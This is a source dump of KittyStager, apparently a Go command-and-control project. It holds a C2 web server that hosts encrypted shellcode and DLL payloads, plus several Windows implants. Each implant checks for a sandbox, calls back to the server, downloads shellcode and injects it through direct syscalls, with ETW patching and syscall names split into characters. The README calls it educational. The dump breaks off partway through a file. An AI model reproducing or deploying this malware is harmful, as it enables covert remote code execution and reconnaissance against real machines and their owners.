20 | data1, err := json.Marshal(msg1)
21 | if err != nil {
22 | return err
23 | }
24 | sleep(conf.Sleep)
25 | data2, err := postRequest(data1, conf, endpoint1)
26 | if err != nil {
27 | return err
28 | }
29 | var msg2 opaque.PwRegMsg2
30 | if err := json.Unmarshal(data2, &msg2); err != nil {
31 | return err
32 | }
33 |
34 | msg3, err := opaque.PwReg2(sess, msg2)
35 | if err != nil {
36 | return err
37 | }
38 | data3, err := json.Marshal(msg3)
39 | if err != nil {
40 | return err
41 | }
42 | sleep(conf.Sleep)
43 | final, err := postRequest(data3, conf, endpoint2)
44 | if err != nil {
45 | return err
46 | }
47 | if string(final) != "ok" {
48 | return fmt.Errorf("expected final ok, got %s", string(final))
49 | }
50 | return nil
51 | }
52 |
53 | // doAuth is the OPAQUE authentication sequence
54 | func doAuth(username, password string, conf *util.MalConf) (string, error) {
55 | endpoint1 := conf.Auth1
56 | endpoint2 := conf.Auth2
57 | sess, msg1, err := opaque.AuthInit(username, password)
58 | if err != nil {
59 | return "", err
60 | }
61 | data1, err := json.Marshal(msg1)
62 | if err != nil {
63 | return "", err
64 | }
65 | sleep(conf.Sleep)
66 | data2, err := postRequest(data1, conf, endpoint1)
67 | if err != nil {
68 | return "", err
69 | }
70 | var msg2 opaque.AuthMsg2
71 | if err := json.Unmarshal(data2, &msg2); err != nil {
72 | return "", err
73 | }
74 |
75 | sharedSecret, msg3, err := opaque.Auth2(sess, msg2)
76 | if err != nil {
77 | return "", err
78 | }
79 | data3, err := json.Marshal(msg3)
80 | if err != nil {
81 | return "", err
82 | }
83 | sleep(conf.Sleep)
84 | ok, err := postRequest(data3, conf, endpoint2)
85 | if err != nil {
86 | return "", err
87 | }
88 | if string(ok) != "ok" {
89 | fmt.Printf("Expected ok, got '%s'", string(ok))
90 | return "", err
91 | }
92 | key := sharedSecret[:16]
93 | keyB64 := base64.StdEncoding.EncodeToString(key)
94 | // generate a 32 byte key
95 | key32 := crypto.GenerateKey(keyB64, 32)
96 | return key32, nil
97 | }
98 |
--------------------------------------------------------------------------------
/cmd/util/malConf.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import "encoding/json"
4 |
5 | // MalConf is the struct that contains the malware configuration
6 | type MalConf struct {
7 | Host string `json:"Host"`
8 | Endpoint string `json:"Endpoint"`
9 | UserA string `json:"UserAgent"`
10 | Sleep int `json:"Sleep"`
11 | Reg1 string `json:"Reg1"`
12 | Reg2 string `json:"Reg2"`
13 | Auth1 string `json:"Auth1"`
14 | Auth2 string `json:"Auth2"`
15 | Cookie string `json:"Cookie"`
16 | }
17 |
18 | func NewMalConf(host, endpoint, userA, reg1, reg2, auth1, auth2, cookie string, sleep int) *MalConf {
19 | return &MalConf{host, endpoint, userA, sleep, reg1, reg2, auth1, auth2, cookie}
20 | }
21 |
22 | func NewMalConfEmpty() *MalConf {
23 | return &MalConf{}
24 | }
25 |
26 | func MalConfUnmarshalJSON(j []byte) (*MalConf, error) {
27 | iniCheck := NewMalConfEmpty()
28 | err := json.Unmarshal(j, &iniCheck)
29 | if err != nil {
30 | return &MalConf{}, err
31 | }
32 | return iniCheck, nil
33 | }
34 |
35 | func MalConfMarshalJSON(m *MalConf) ([]byte, error) {
36 | j, err := json.Marshal(m)
37 | if err != nil {
38 | return nil, err
39 | }
40 | return j, nil
41 | }
42 |
43 | func (M *MalConf) GetHost() string {
44 | return M.Host
45 | }
46 |
47 | func (M *MalConf) SetHost(h string) {
48 | M.Host = h
49 | }
50 |
51 | func (M *MalConf) GetEndPoint() string {
52 | return M.Endpoint
53 | }
54 |
55 | func (M *MalConf) SetEndPoint(e string) {
56 | M.Endpoint = e
57 | }
58 |
59 | func (M *MalConf) GetUserA() string {
60 | return M.UserA
61 | }
62 |
63 | func (M *MalConf) SetUserA(u string) {
64 | M.UserA = u
65 | }
66 |
67 | func (M *MalConf) GetSleep() int {
68 | return M.Sleep
69 | }
70 |
71 | func (M *MalConf) SetSleep(s int) {
72 | M.Sleep = s
73 | }
74 |
75 | func (M *MalConf) GetReg1() string {
76 | return M.Reg1
77 | }
78 |
79 | func (M *MalConf) SetReg1(r string) {
80 | M.Reg1 = r
81 | }
82 |
83 | func (M *MalConf) GetReg2() string {
84 | return M.Reg2
85 | }
86 |
87 | func (M *MalConf) SetReg2(r string) {
88 | M.Reg2 = r
89 | }
90 |
91 | func (M *MalConf) GetAuth1() string {
92 | return M.Auth1
93 | }
94 |
95 | func (M *MalConf) SetAuth1(a string) {
96 | M.Auth1 = a
97 | }
98 |
99 | func (M *MalConf) GetAuth2() string {
100 | return M.Auth2
101 | }
102 |
103 | func (M *MalConf) SetAuth2(a string) {
104 | M.Auth2 = a
105 | }
106 |
107 | func (M *MalConf) GetCookie() string {
108 | return M.Cookie
109 | }
110 |
111 | func (M *MalConf) SetCookie(c string) {
112 | M.Cookie = c
113 | }
114 |
--------------------------------------------------------------------------------
/cmd/util/util.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import (
4 | "KittyStager/cmd/config"
5 | "encoding/json"
6 | "fmt"
7 | color "github.com/logrusorgru/aurora"
8 | "log"
9 | "os"
10 | )
11 |
12 | // GenerateConfig generate the config file for all the kittens
13 | func GenerateConfig(conf config.General) error {
14 | malConf := NewMalConf(fmt.Sprintf("http://%s:%d",
15 | conf.GetHost(),
16 | conf.GetPort()),
17 | conf.GetEndpoint(),
18 | conf.GetUserAgent(),
19 | conf.GetReg1(),
20 | conf.GetReg2(),
21 | conf.GetAuth1(),
22 | conf.GetAuth2(),
23 | "",
24 | conf.GetSleep())
25 |
26 | data, err := MalConfMarshalJSON(malConf)
27 | if err != nil {
28 | return err
29 | }
30 | for x := range conf.GetMalPath() {
31 | err := os.WriteFile(conf.GetMalPathWithId(x)+"conf.txt", data, 0644)
32 | if err != nil {
33 | return err
34 | }
35 | fmt.Printf("%s %s\n", color.Green("[+] Generated conf file for"), color.Yellow(conf.GetMalPathWithId(x)))
36 | }
37 | return nil
38 | }
39 |
40 | // ErrPrint print the error
41 | func ErrPrint(err error) {
42 | if err != nil {
43 | log.Printf("\n%s %s\n", color.Red("[-]"), color.Red(err.Error()))
44 | }
45 | }
46 |
47 | // PrintInit print the recon info when the kittens calls back
48 | func PrintInit(recon []byte) error {
49 | initChecks, err := InitUnmarshalJSON(recon)
50 | if err != nil {
51 | return err
52 | }
53 | fmt.Printf("%s %s\n", color.Green("[+] Hostname:"), color.Yellow(initChecks.GetHostname()))
54 | fmt.Printf("%s %s\n", color.Green("[+] Domain:"), color.Yellow(initChecks.GetDomain()))
55 | fmt.Printf("%s %s\n", color.Green("[+] Username:"), color.Yellow(initChecks.GetUsername()))
56 | fmt.Printf("%s %s\n", color.Green("[+] IP:"), color.Yellow(initChecks.GetIp()))
57 | fmt.Print(color.Green("[+] To get more, use the recon command\n"))
58 | return nil
59 | }
60 |
61 | // PrintRecon print the recon info when the command recon is called
62 | func PrintRecon(i InitialChecks) {
63 | fmt.Printf("\n%s %s\n", color.Green("[+] Kitten name:"), color.Yellow(i.GetKittenName()))
64 | fmt.Printf("%s %s\n", color.Green("[+] Hostname:"), color.Yellow(i.GetHostname()))
65 | fmt.Printf("%s %s\n", color.Green("[+] Username:"), color.Yellow(i.GetUsername()))
66 | fmt.Printf("%s %s\n", color.Green("[+] IP:"), color.Yellow(i.GetIp()))
67 | fmt.Printf("%s %s\n", color.Green("[+] Domain:"), color.Yellow(i.GetDomain()))
68 | fmt.Printf("%s %s\n", color.Green("[+] Process:"), color.Yellow(i.GetPName()))
69 | fmt.Printf("%s %s\n", color.Green("[+] Process path:"), color.Yellow(i.GetPath()))
70 | fmt.Printf("%s %s\n", color.Green("[+] Process pid:"), color.Yellow(fmt.Sprintf("%d", i.GetPid())))
71 | fmt.Print(color.Green("[+] Installed software : \n"))
72 | f := i.GetDir()
73 | s, _ := json.MarshalIndent(f, "", "\t")
74 | fmt.Printf("%s\n", color.Yellow(string(s)))
75 | }
76 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | KittyStager
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | KittyStager is a simple stage 0 C2. It is made of a web server to host the shellcode and an implant, called kitten.
12 | The purpose of this project is to be able to have a web server and some implant for various usage and be
13 | able to use it with any shellcode.
14 |
15 | This project is made for educational purpose only. I am not responsible for any damage caused by this project.
16 |
17 | ***I would not use this project in red team, at least not now.***
18 |
19 |
20 | ## Features
21 | - A simple cli to interact with the implant
22 | - Web server :
23 | - [x] A simple web server to host the shellcode
24 | - [x] User agent whitelist to prevent unwanted connections
25 | - Reconnaissance :
26 | - [x] Hostname
27 | - [x] IP
28 | - [x] OS
29 | - [x] Domain
30 | - [x] And more...
31 | - Encryption :
32 | - [x] Key exchange with Opaque
33 | - [x] Chacha20 encryption
34 | - Malware capabilities :
35 | - [x] Standard injection
36 | - [x] Halo's gate
37 | - [x] Hell's gate
38 | - [x] Recycle gate
39 | - [x] ETW patching
40 | - Sandbox :
41 | - [x] Check ram
42 | - [x] Check a none existing website
43 | - Payload :
44 | - [x] Raw shellcode
45 | - [x] Hex shellcode
46 | - [x] Dll
47 |
48 |
49 | ## Installation
50 | ```
51 | git clone https://github.com/Enelg52/KittyStager.git
52 | cd KittyStager
53 | go build -o KittyStager
54 | ```
55 | ### Build the implants
56 | #### BasicKitten
57 | ```
58 | cd /kitten/basicKitten
59 | go build -o basicKitten.exe
60 | ```
61 | #### BasicKitten
62 | ```
63 | cd /kitten/bananaKitten
64 | go build -o basicKitten.exe
65 | ```
66 | #### DllKitten
67 | ```
68 | go build -buildmode=c-shared -o dllKitten.dll
69 | ```
70 | ### On linux
71 | ```
72 | env GOOS=windows GOARCH=amd64 go build -o basicKitten.exe
73 | ```
74 |
75 | ## Usage
76 |
77 | ```
78 | ./KittyStager.exe -h
79 | Usage of kittyStager.exe:
80 | -p string
81 | Path to the config file (default "cmd/config/conf.yml")
82 | ```
83 | ### DllKitten
84 | ```
85 | runDll32.exe dllKitten.dll,DllMain
86 | ```
87 |
88 | ## Example
89 | #### Implant check's in
90 | 
91 | #### Show target's information
92 | 
93 | #### Interact with the implant
94 | 
95 | #### Change sleep time
96 | 
97 | #### Inject shellcode or dll
98 | 
99 | #### Show recon
100 | 
101 |
102 | ## Contributing
103 |
104 | Pull requests are welcome. Feel free to open an issue if you want to add other features.
105 |
106 | ## Contact
107 | Enelg#9993 on discord
108 |
109 | ## Credits
110 | - https://github.com/C-Sto/BananaPhone
111 | - https://github.com/timwhitez/Doge-Gabh
112 | - https://github.com/c-bata/go-prompt
113 | - https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
114 | - https://github.com/BishopFox/sliver/
115 | - https://github.com/alinz/crypto.go/blob/main/chacha20.go
116 | - https://github.com/frekui/opaque
117 | - ... and many others
--------------------------------------------------------------------------------
/cmd/http/httpServer.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "KittyStager/cmd/config"
5 | "KittyStager/cmd/crypto"
6 | "KittyStager/cmd/util"
7 | "crypto/rand"
8 | "crypto/rsa"
9 | b64 "encoding/base64"
10 | "fmt"
11 | color "github.com/logrusorgru/aurora"
12 | "io"
13 | "net/http"
14 | "time"
15 | )
16 |
17 | var (
18 | userA string
19 | defSleep int
20 | )
21 |
22 | var PrivS *rsa.PrivateKey
23 |
24 | // CreateHttpServer creates the HTTP server
25 | func CreateHttpServer(conf config.General) {
26 | PrivS, _ = rsa.GenerateKey(rand.Reader, 512)
27 | Targets = make(map[string]*Kitten)
28 | defSleep = conf.GetSleep()
29 | address := fmt.Sprintf("%s:%d", conf.GetHost(), conf.GetPort())
30 | userA = conf.GetUserAgent()
31 | fmt.Printf("%s %s\n\n", color.Green("[+] Started http server on"), color.Yellow(address))
32 | //endpoint for all communication
33 | http.HandleFunc(conf.GetEndpoint(), logRequest)
34 | //endpoint 1 registration Opaque
35 | http.HandleFunc(conf.GetReg1(), regHandler1)
36 | //endpoint 2 registration Opaque
37 | http.HandleFunc(conf.GetReg2(), regHandler2)
38 | //endpoint 1 authentication Opaque
39 | http.HandleFunc(conf.GetAuth1(), authHandler1)
40 | //endpoint 2 authentication Opaque
41 | http.HandleFunc(conf.GetAuth2(), authHandler2)
42 | err := http.ListenAndServe(address, nil)
43 | if err != nil {
44 | util.ErrPrint(err)
45 | return
46 | }
47 | }
48 |
49 | // logRequest logs the requests from the kittens
50 | func logRequest(w http.ResponseWriter, r *http.Request) {
51 | c := util.NewInitialChecks()
52 | userAgent := r.UserAgent()
53 | //check if the user agent is correct
54 | if userAgent != userA {
55 | w.WriteHeader(404)
56 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent))
57 | return
58 | }
59 | cookie := r.Header.Get("Cookie")
60 | user, err := b64.StdEncoding.DecodeString(cookie)
61 | //check if the cookie is initial callback
62 | if r.Method == "POST" {
63 | data, _ := io.ReadAll(r.Body)
64 | uncypherData, _ := crypto.Decrypt(data, []byte(Targets[string(user)].GetKey()))
65 | if err != nil {
66 | util.ErrPrint(err)
67 | return
68 | }
69 | c, err = util.InitUnmarshalJSON(uncypherData)
70 | //If the beacon is not in the map, add it
71 | fmt.Printf("%s %s\n", color.Green("[+] Request from:"), color.Yellow(c.GetIp()))
72 | fmt.Printf("%s %s\n", color.Green("[+] Kitten name:"), color.Yellow(c.GetKittenName()))
73 | fmt.Printf("%s %s\n", color.Green("[+] User-Agent:"), color.Yellow(r.UserAgent()))
74 |
75 | Targets[string(user)].SetId(len(Targets))
76 | Targets[string(user)].SetLastSeen(time.Now())
77 | Targets[string(user)].SetSleep(defSleep)
78 | Targets[string(user)].SetAlive(true)
79 | Targets[string(user)].SetInitChecks(*c)
80 |
81 | _, err = w.Write(Targets[c.GetKittenName()].GetPayload())
82 | if err != nil {
83 | return
84 | }
85 | err = util.PrintInit(uncypherData)
86 | if err != nil {
87 | fmt.Println(color.Red("Error printing cookie"))
88 | return
89 | }
90 | // regular callback
91 | } else {
92 | kittenName := string(user)
93 | if _, ok := Targets[kittenName]; ok {
94 | _, err := w.Write(Targets[kittenName].GetPayload())
95 | Targets[kittenName].SetLastSeen(time.Now())
96 | if err != nil {
97 | return
98 | }
99 | Targets[kittenName].SetPayload(nil)
100 | return
101 | }
102 |
103 | }
104 | }
105 |
--------------------------------------------------------------------------------
/kittens/bananaKitten/bananaKitten.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package main
4 |
5 | import (
6 | "KittyStager/cmd/malwareUtil"
7 | "KittyStager/cmd/util"
8 | _ "embed"
9 | "golang.org/x/sys/windows"
10 | "unsafe"
11 |
12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
13 | )
14 |
15 | //go:embed conf.txt
16 | var t string
17 |
18 | // example of using bananaphone to execute shellcode in the current thread.
19 | // https://github.com/C-Sto/BananaPhone
20 |
21 | func main() {
22 | if malwareUtil.VmCheck() {
23 | return
24 | }
25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t))
26 | if err != nil {
27 | return
28 | }
29 | shellcode := malwareUtil.Connect(malConf)
30 | inject(shellcode)
31 | }
32 |
33 | func inject(shellcode []byte) {
34 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go
35 | bp, _ := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
36 | //resolve the functions and extract the syscalls
37 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
38 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
39 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'}))
40 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'}))
41 |
42 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject)
43 | }
44 |
45 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) {
46 | //malwareUtil.EtwPatch(handle)
47 | var baseA uintptr
48 | regionsize := uintptr(len(shellcode))
49 | bananaphone.Syscall(
50 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory
51 | handle,
52 | uintptr(unsafe.Pointer(&baseA)),
53 | 0,
54 | uintptr(unsafe.Pointer(®ionsize)),
55 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
56 | windows.PAGE_READWRITE,
57 | )
58 | //write memory
59 | malwareUtil.Memcpy(baseA, shellcode)
60 | var oldprotect uintptr
61 | bananaphone.Syscall(
62 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory
63 | handle,
64 | uintptr(unsafe.Pointer(&baseA)),
65 | uintptr(unsafe.Pointer(®ionsize)),
66 | windows.PAGE_EXECUTE_READ,
67 | uintptr(unsafe.Pointer(&oldprotect)),
68 | )
69 | var hhosthread uintptr
70 | bananaphone.Syscall(
71 | NtCreateThreadExSysid, //NtCreateThreadEx
72 | uintptr(unsafe.Pointer(&hhosthread)), //hthread
73 | 0x1FFFFF, //desiredaccess
74 | 0, //objattributes
75 | handle, //processhandle
76 | baseA, //lpstartaddress
77 | 0, //lpparam
78 | uintptr(0), //createsuspended
79 | 0, //zerobits
80 | 0, //sizeofstackcommit
81 | 0, //sizeofstackreserve
82 | 0, //lpbytesbuffer
83 | )
84 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0)
85 | }
86 |
--------------------------------------------------------------------------------
/kittens/haloKitten/haloKitten.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package main
4 |
5 | import (
6 | "KittyStager/cmd/malwareUtil"
7 | "KittyStager/cmd/util"
8 | _ "embed"
9 | "golang.org/x/sys/windows"
10 | "unsafe"
11 |
12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
13 | )
14 |
15 | //go:embed conf.txt
16 | var t string
17 |
18 | // example of using bananaphone to execute shellcode in the current thread.
19 | // https://github.com/C-Sto/BananaPhone
20 |
21 | func main() {
22 | if malwareUtil.VmCheck() {
23 | return
24 | }
25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t))
26 | if err != nil {
27 | return
28 | }
29 | shellcode := malwareUtil.Connect(malConf)
30 | inject(shellcode)
31 | }
32 |
33 | func inject(shellcode []byte) {
34 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go
35 | bp, _ := bananaphone.NewBananaPhone(bananaphone.HalosGateBananaPhoneMode)
36 | //resolve the functions and extract the syscalls
37 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
38 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
39 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'}))
40 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'}))
41 |
42 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject)
43 | }
44 |
45 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) {
46 | malwareUtil.EtwPatch(handle)
47 | var baseA uintptr
48 | regionsize := uintptr(len(shellcode))
49 | bananaphone.Syscall(
50 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory
51 | handle,
52 | uintptr(unsafe.Pointer(&baseA)),
53 | 0,
54 | uintptr(unsafe.Pointer(®ionsize)),
55 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
56 | windows.PAGE_READWRITE,
57 | )
58 | //write memory
59 | malwareUtil.Memcpy(baseA, shellcode)
60 | var oldprotect uintptr
61 | bananaphone.Syscall(
62 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory
63 | handle,
64 | uintptr(unsafe.Pointer(&baseA)),
65 | uintptr(unsafe.Pointer(®ionsize)),
66 | windows.PAGE_EXECUTE_READ,
67 | uintptr(unsafe.Pointer(&oldprotect)),
68 | )
69 | var hhosthread uintptr
70 | bananaphone.Syscall(
71 | NtCreateThreadExSysid, //NtCreateThreadEx
72 | uintptr(unsafe.Pointer(&hhosthread)), //hthread
73 | 0x1FFFFF, //desiredaccess
74 | 0, //objattributes
75 | handle, //processhandle
76 | baseA, //lpstartaddress
77 | 0, //lpparam
78 | uintptr(0), //createsuspended
79 | 0, //zerobits
80 | 0, //sizeofstackcommit
81 | 0, //sizeofstackreserve
82 | 0, //lpbytesbuffer
83 | )
84 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0)
85 | }
86 |
--------------------------------------------------------------------------------
/cmd/http/httpUtil.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "KittyStager/cmd/crypto"
5 | "KittyStager/cmd/srdi"
6 | "KittyStager/cmd/util"
7 | "encoding/json"
8 | "fmt"
9 | color "github.com/logrusorgru/aurora"
10 | "net/http"
11 | "os"
12 | "time"
13 | )
14 |
15 | var Targets map[string]*Kitten
16 |
17 | // HostShellcode Hosts the shellcode
18 | func HostShellcode(path string, kittenName string) error {
19 | task := util.NewTask()
20 | var err error
21 | key := Targets[kittenName].GetKey()
22 | sc, err := os.ReadFile(path)
23 | if err != nil {
24 | return err
25 | }
26 | contentType := http.DetectContentType(sc)
27 | //checks if the file is a hex file
28 | if contentType == "text/plain; charset=utf-8" {
29 | task.SetTag("shellcode")
30 | task.SetPayload(sc)
31 | // check if the file is a binary
32 | } else if contentType == "application/octet-stream" {
33 | hexstring := fmt.Sprintf("%x ", sc)
34 | task.SetTag("shellcode")
35 | task.SetPayload([]byte(hexstring))
36 | }
37 | payload, err := json.Marshal(task)
38 | if err != nil {
39 | return err
40 | }
41 | shellcode, err := crypto.Encrypt(payload, key)
42 | if err != nil {
43 | return err
44 | }
45 | Targets[kittenName].SetPayload(shellcode)
46 | fmt.Println(color.Green("[+] Shellcode hosted for " + kittenName))
47 | return error(nil)
48 | }
49 |
50 | // HostSleep Hosts the sleep time the same way as the shellcode
51 | func HostSleep(t int, kittenName string) error {
52 | Targets[kittenName].SetSleep(t)
53 | task := util.NewTask()
54 | task.SetTag("sleep")
55 | task.SetPayload([]byte(fmt.Sprintf("%d", t)))
56 | key := Targets[kittenName].GetKey()
57 | payload, err := json.Marshal(task)
58 | if err != nil {
59 | return err
60 | }
61 | sleep, err := crypto.Encrypt(payload, key)
62 | if err != nil {
63 | return err
64 | }
65 | Targets[kittenName].SetPayload(sleep)
66 | fmt.Printf("%s %d%s %s%s\n", color.Green("[+] Sleep time set to"), color.Yellow(t), color.Yellow("s"), color.Green("on "), color.Yellow(kittenName))
67 | return error(nil)
68 | }
69 |
70 | // HostDll Hosts the shellcode converted dll
71 | func HostDll(path, entry, kittenName string) error {
72 | var err error
73 | key := Targets[kittenName].GetKey()
74 | dll, err := os.ReadFile(path)
75 | if err != nil {
76 | return err
77 | }
78 | sc, err := srdi.DllToShellcode(dll, entry)
79 | if err != nil {
80 | return err
81 | }
82 | hexstring := fmt.Sprintf("%x ", sc)
83 | task := util.NewTask()
84 | task.SetTag("shellcode")
85 | task.SetPayload([]byte(hexstring))
86 | payload, err := json.Marshal(task)
87 | if err != nil {
88 | return err
89 | }
90 | shellcode, err := crypto.Encrypt(payload, key)
91 | if err != nil {
92 | return err
93 | }
94 | fmt.Println(color.Green("[+] Key generated is : " + key))
95 | Targets[kittenName].SetPayload(shellcode)
96 | fmt.Println(color.Green("[+] Dll hosted for " + kittenName))
97 | return error(nil)
98 | }
99 |
100 | // CheckAlive checks if the malware is alive. If last seen is longer that the sleep time it will mark it
101 | func CheckAlive() {
102 | for {
103 | time.Sleep(1 * time.Second)
104 | for name, x := range Targets {
105 | if Targets[name].Alive {
106 | t := time.Since(x.GetLastSeen())
107 | sleepTime := time.Duration(x.GetSleep()) * time.Second
108 | if t > sleepTime+5*time.Second {
109 | Targets[name].SetAlive(false)
110 | fmt.Println(color.Red("\n[!] Kitten " + name + " died."))
111 | }
112 | }
113 | }
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/cmd/cli/cli.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "KittyStager/cmd/config"
5 | "KittyStager/cmd/http"
6 | "KittyStager/cmd/util"
7 | "fmt"
8 | "github.com/c-bata/go-prompt"
9 | "os"
10 | "strings"
11 | )
12 |
13 | // completerCli is the completer for the main menu
14 | func completerCli(d prompt.Document) []prompt.Suggest {
15 | s := []prompt.Suggest{
16 | {Text: "exit", Description: "Exit the program"},
17 | {Text: "config", Description: "Show config"},
18 | {Text: "target", Description: "Show targets"},
19 | {Text: "interact", Description: "Interact with a target"},
20 | {Text: "build", Description: "Build a kittens with garble, description, signature"},
21 | }
22 | return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
23 | }
24 |
25 | // completerInteract is the completer for the interact menu
26 | func completerInteract(d prompt.Document) []prompt.Suggest {
27 | s := []prompt.Suggest{
28 | {Text: "exit", Description: "Exit the program"},
29 | {Text: "back", Description: "Go back to the main menu"},
30 | {Text: "target", Description: "Show targets"},
31 | {Text: "interact", Description: "Interact with a target"},
32 | {Text: "payload", Description: "Host a payload"},
33 | {Text: "sleep", Description: "Set sleep time"},
34 | {Text: "recon", Description: "Show recon information"},
35 | }
36 | return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
37 | }
38 |
39 | // Cli is the main menu
40 | func Cli(conf config.General) {
41 | for {
42 | t := prompt.Input("KittyStager ❯ ", completerCli,
43 | prompt.OptionTitle("KittyStager 🐈 "),
44 | prompt.OptionPrefixTextColor(prompt.Blue),
45 | prompt.OptionPreviewSuggestionTextColor(prompt.Green),
46 | prompt.OptionSelectedSuggestionBGColor(prompt.LightGray),
47 | prompt.OptionSelectedSuggestionTextColor(prompt.Blue),
48 | prompt.OptionDescriptionBGColor(prompt.Blue),
49 | prompt.OptionSuggestionBGColor(prompt.DarkGray),
50 | )
51 | input := strings.Split(t, " ")
52 | switch input[0] {
53 | case "exit":
54 | fmt.Println("Bye bye!")
55 | return
56 | case "config":
57 | printConfig(conf)
58 | case "target":
59 | printTarget()
60 | case "interact":
61 | interact()
62 | case "build":
63 | //Only works on windows
64 | err := genMalwareQuick()
65 | util.ErrPrint(err)
66 | default:
67 | fmt.Println("Unknown command")
68 | }
69 | }
70 | }
71 |
72 | // Interact is the interact menu
73 | func Interact(kittenName string) error {
74 | in := fmt.Sprintf("KittyStager - %s❯ ", kittenName)
75 | for {
76 | t := prompt.Input(in, completerInteract,
77 | prompt.OptionPrefixTextColor(prompt.Blue),
78 | prompt.OptionPreviewSuggestionTextColor(prompt.Green),
79 | prompt.OptionSelectedSuggestionBGColor(prompt.LightGray),
80 | prompt.OptionSelectedSuggestionTextColor(prompt.Blue),
81 | prompt.OptionDescriptionBGColor(prompt.Blue),
82 | prompt.OptionSuggestionBGColor(prompt.DarkGray))
83 | input := strings.Split(t, " ")
84 | switch input[0] {
85 | case "exit":
86 | fmt.Println("Bye bye!")
87 | os.Exit(0)
88 | case "back":
89 | return nil
90 | case "target":
91 | printTarget()
92 | case "interact":
93 | interact()
94 | case "payload":
95 | payload(kittenName)
96 | case "sleep":
97 | sleep(input, kittenName)
98 | case "recon":
99 | initChecks := http.Targets[kittenName].GetInitChecks()
100 | util.PrintRecon(initChecks)
101 | default:
102 | fmt.Println("Unknown command")
103 | }
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/kittens/dllKitten/dllKitten.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | // go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o dllKiten.dll
4 | package main
5 |
6 | import "C"
7 | import (
8 | "KittyStager/cmd/malwareUtil"
9 | "KittyStager/cmd/util"
10 | _ "embed"
11 | "fmt"
12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
13 | "golang.org/x/sys/windows"
14 | "unsafe"
15 | )
16 |
17 | //go:embed conf.txt
18 | var t string
19 |
20 | func main() {
21 | }
22 |
23 | //export Init
24 | func Init() {
25 | if malwareUtil.VmCheck() {
26 | return
27 | }
28 | malConf, err := util.MalConfUnmarshalJSON([]byte(t))
29 | if err != nil {
30 | return
31 | }
32 | shellcode := malwareUtil.Connect(malConf)
33 | inject(shellcode)
34 | }
35 |
36 | func inject(shellcode []byte) {
37 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go
38 | bp, _ := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
39 | //resolve the functions and extract the syscalls
